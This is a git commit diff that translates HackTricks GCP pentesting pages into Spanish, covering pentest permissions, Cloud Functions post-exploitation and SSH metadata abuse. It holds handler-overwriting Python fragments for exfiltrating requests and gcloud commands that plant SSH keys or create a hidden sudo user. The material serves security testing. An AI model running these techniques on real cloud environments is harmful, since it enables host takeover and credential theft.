Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle

This commit is contained in:
Translator
2025-08-01 10:11:45 +00:00
parent c44d292da2
commit 7ccda24868
47 changed files with 451 additions and 268 deletions

View File

@@ -1,5 +1,7 @@
# GCP - Permisos para un Pentest
{{#include ../../banners/hacktricks-training.md}}
Si deseas realizar un pentest en un entorno de **GCP**, necesitas solicitar suficientes permisos para **verificar todos o la mayoría de los servicios** utilizados en **GCP**. Idealmente, deberías pedir al cliente que cree:
* **Crear** un **nuevo proyecto**
@@ -13,7 +15,7 @@ roles/viewer
roles/resourcemanager.folderViewer
roles/resourcemanager.organizationViewer
```
APIs a habilitar (desde starbase):
APIs para habilitar (desde starbase):
```
gcloud services enable \
serviceusage.googleapis.com \
@@ -129,4 +131,4 @@ roles/iam.securityReviewer
roles/iam.organizationRoleViewer
roles/bigquery.metadataViewer
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1 +1,3 @@
# GCP - Persistencia
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1 +1,3 @@
# GCP - Post Explotación
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# GCP - Explotación Posterior de Cloud Functions
# GCP - Cloud Functions Post Explotación
{{#include ../../../banners/hacktricks-training.md}}
@@ -23,7 +23,7 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
Si la Función en la Nube está gestionando información sensible que los usuarios están enviando (por ejemplo, contraseñas o tokens), con suficientes privilegios podrías **modificar el código fuente de la función y exfiltrar** esta información.
Además, las Funciones en la Nube que se ejecutan en python utilizan **flask** para exponer el servidor web, si de alguna manera encuentras una vulnerabilidad de inyección de código dentro del proceso de flaks (una vulnerabilidad SSTI, por ejemplo), es posible **sobrescribir el manejador de la función** que va a recibir las solicitudes HTTP por una **función maliciosa** que puede **exfiltrar la solicitud** antes de pasarla al manejador legítimo.
Además, las Funciones en la Nube que se ejecutan en python utilizan **flask** para exponer el servidor web, si de alguna manera encuentras una vulnerabilidad de inyección de código dentro del proceso de flaks (una vulnerabilidad SSTI, por ejemplo), es posible **sobrescribir el controlador de la función** que va a recibir las solicitudes HTTP por una **función maliciosa** que puede **exfiltrar la solicitud** antes de pasarla al controlador legítimo.
Por ejemplo, este código implementa el ataque:
```python
@@ -98,7 +98,7 @@ return "/tmp/function.py doesn't exists"
# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
realpath = os.path.realpath(source_path) # Get full path
# Get the modules representations
@@ -122,4 +122,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,20 +1,18 @@
# GCP - Agregar Metadatos SSH Personalizados
## GCP - Agregar Metadatos SSH Personalizados
{{#include ../../../../banners/hacktricks-training.md}}
### Modificación de los metadatos <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
## Modificando los metadatos <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
La modificación de metadatos en una instancia podría llevar a **riesgos de seguridad significativos si un atacante obtiene los permisos necesarios**.
#### **Incorporación de Claves SSH en Metadatos Personalizados**
### **Incorporación de Claves SSH en Metadatos Personalizados**
En GCP, **los sistemas Linux** a menudo ejecutan scripts desde el [Entorno de Invitado de Linux de Python para Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Un componente crítico de esto es el [demonio de cuentas](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), que está diseñado para **verificar regularmente** el punto final de metadatos de la instancia en busca de **actualizaciones a las claves públicas SSH autorizadas**.
En GCP, **los sistemas Linux** a menudo ejecutan scripts desde el [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Un componente crítico de esto es el [daemon de cuentas](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), que está diseñado para **verificar regularmente** el punto final de metadatos de la instancia en busca de **actualizaciones a las claves públicas SSH autorizadas**.
Por lo tanto, si un atacante puede modificar los metadatos personalizados, podría hacer que el demonio encuentre una nueva clave pública, que será procesada e **integrada en el sistema local**. La clave se añadirá al archivo `~/.ssh/authorized_keys` de un **usuario existente o potencialmente creando un nuevo usuario con privilegios `sudo`**, dependiendo del formato de la clave. Y el atacante podrá comprometer el host.
Por lo tanto, si un atacante puede modificar los metadatos personalizados, podría hacer que el daemon encuentre una nueva clave pública, que será procesada e **integrada en el sistema local**. La clave se añadirá al archivo `~/.ssh/authorized_keys` de un **usuario existente o potencialmente creando un nuevo usuario con privilegios de `sudo`**, dependiendo del formato de la clave. Y el atacante podrá comprometer el host.
#### **Agregar clave SSH a un usuario privilegiado existente**
### **Agregar clave SSH a un usuario privilegiado existente**
1. **Examinar Claves SSH Existentes en la Instancia:**
@@ -26,7 +24,7 @@ gcloud compute instances describe [INSTANCE] --zone [ZONE]
- Prestar atención al formato de las claves SSH: el nombre de usuario precede a la clave, separado por dos puntos.
2. **Preparar un Archivo de Texto para Metadatos de Clave SSH:**
2. **Preparar un Archivo de Texto para los Metadatos de la Clave SSH:**
- Guardar los detalles de los nombres de usuario y sus correspondientes claves SSH en un archivo de texto llamado `meta.txt`. Esto es esencial para preservar las claves existentes mientras se añaden nuevas.
3. **Generar una Nueva Clave SSH para el Usuario Objetivo (`alice` en este ejemplo):**
@@ -38,9 +36,9 @@ ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- Agregar la nueva clave pública a `meta.txt`, imitando el formato encontrado en los metadatos de la instancia.
4. **Actualizar los Metadatos de Clave SSH de la Instancia:**
4. **Actualizar los Metadatos de la Clave SSH de la Instancia:**
- Aplicar los metadatos de clave SSH actualizados a la instancia usando el comando `gcloud compute instances add-metadata`.
- Aplicar los metadatos de clave SSH actualizados a la instancia utilizando el comando `gcloud compute instances add-metadata`.
```bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
@@ -55,9 +53,9 @@ ssh -i ./key alice@localhost
sudo id
```
#### **Crear un nuevo usuario privilegiado y agregar una clave SSH**
### **Crear un nuevo usuario privilegiado y agregar una clave SSH**
Si no se encuentra un usuario interesante, es posible crear uno nuevo al que se le otorgarán privilegios `sudo`:
Si no se encuentra un usuario interesante, es posible crear uno nuevo al que se le otorgarán privilegios de `sudo`:
```bash
# define the new account username
NEWUSER="definitelynotahacker"
@@ -75,13 +73,13 @@ gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-k
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
#### Claves SSH a nivel de proyecto <a href="#sshing-around" id="sshing-around"></a>
### Claves SSH a nivel de proyecto <a href="#sshing-around" id="sshing-around"></a>
Es posible ampliar el alcance del acceso SSH a múltiples Máquinas Virtuales (VMs) en un entorno de nube al **aplicar claves SSH a nivel de proyecto**. Este enfoque permite el acceso SSH a cualquier instancia dentro del proyecto que no haya bloqueado explícitamente las claves SSH a nivel de proyecto. Aquí hay una guía resumida:
1. **Aplicar Claves SSH a Nivel de Proyecto:**
- Utiliza el comando `gcloud compute project-info add-metadata` para agregar claves SSH desde `meta.txt` a los metadatos del proyecto. Esta acción asegura que las claves SSH sean reconocidas en todas las VMs del proyecto, a menos que una VM tenga habilitada la opción "Bloquear claves SSH a nivel de proyecto".
- Usa el comando `gcloud compute project-info add-metadata` para agregar claves SSH desde `meta.txt` a los metadatos del proyecto. Esta acción asegura que las claves SSH sean reconocidas en todas las VMs del proyecto, a menos que una VM tenga habilitada la opción "Bloquear claves SSH a nivel de proyecto".
```bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt

View File

@@ -28,26 +28,30 @@ curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKey
```
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
Con estos permisos, un atacante puede habilitar y usar nuevos servicios en el proyecto. Esto podría permitir a un **atacante habilitar servicios como admin o cloudidentity** para intentar acceder a información de Workspace, o a otros servicios para acceder a datos interesantes.
Con estos permisos, un atacante puede habilitar y usar nuevos servicios en el proyecto. Esto podría permitir a un **atacante habilitar servicios como admin o cloudidentity** para intentar acceder a la información de Workspace, o a otros servicios para acceder a datos interesantes.
## **Referencias**
## **References**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
<details>
<summary><strong>¡Apoya a HackTricks y obtén beneficios!</strong></summary>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
Obtén la [**merch oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
Obtén la [**merch oficial de PEASS & HackTricks**](https://peass.creator-spring.com).
**Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks en github**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**Comparte tus trucos de hacking enviando PRs al** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**.**
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1 +1,3 @@
# GCP - Servicios
{{#include ../../../banners/hacktricks-training.md}}